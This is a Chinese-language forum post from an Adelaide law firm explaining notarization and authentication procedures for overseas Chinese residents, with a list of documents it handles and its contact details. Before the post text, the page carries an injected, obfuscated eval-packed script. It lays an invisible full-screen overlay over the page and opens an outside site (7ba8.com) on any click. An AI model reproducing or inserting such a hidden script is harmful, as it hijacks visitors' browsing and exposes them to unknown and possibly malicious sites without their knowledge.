郑玉桂律师事务所-法律知识普及贴-第一期-文件公证认证程序

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 郑玉桂律师 于 28-9-2015 04:56 PM 编辑

公证/认证文件,是大部分侨居海外的人士需要了解的很实用的程序。公证/认证文件的目的是使一国出具的文书,在另一个国家得到认可,而不因怀疑其真实性而影响其法律效力

一般来说,侨居海外的人士可以通过公证程序,或者认证程序来使其文件在另一个国家有通用性。

公证程序和认证程序具有同等的法律效力。

公证文件程序,可以直接到中国驻外领事馆进行公证。但公证程序只对持中国国籍的公民开放。

认证文件程序,可以到国际公证律师处办理认证手续。其认证手续总体分为三个步骤:国际公证律师认证-澳大利亚外交部认证-中国大使馆认证。认证程序对申请人的国籍没有要求。

需要注意的一点是,上述的公证和认证程序都不对持难民签证的中国公民开放。因此,在办理时,申请人须携带有效签证或者有效的外籍护照。

总体来说,由于海外地区没有中国公证处,因此,国际公证律师便在某种程度上担当了公证处的职能。

最常用的几类由本律师事务所起草及办理的认证文书有:
1.房屋出售委托书;
2.房屋购买委托书;
3.澳大利亚离婚证书;
4.指纹认证/办理中国无犯罪记录证明的委托书;
5.澳大利亚无犯罪记录证明书(可含中文翻译件);
6.寄养委托书;
7.身份确认书(适用于已经拿到外国国籍,但需要持旧中国身份文件办理国内事务的海外人士);
8.放弃继承权声明书;
9.注销或迁移国内户口委托书;
10.股权转让委托书;
11.公司资质的认证文书。

如果大家有如上需求,欢迎直接致电我们的律师行 (08)8359 2526咨询。我们会根据您的需求,给您最适合的法律意见。
本律师事务所地处位置交通便利,在Adelaide市中心,离Rundle Mall步行距离10分钟之内。

---------------------------------------------------------------------------------------------------------------------
电话:00618-8359 2526
传真:00618-8359 2843
地址:1/F Pulteney Centre, 186 Pulteney Street,Adelaide SA 5000


address 186 Pulteney Street Adelaide SA 5000.png (59.58 KB, 下载次数: 0)

186 Pulteney Street, Adelaide, SA 5000

186 Pulteney Street, Adelaide, SA 5000
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部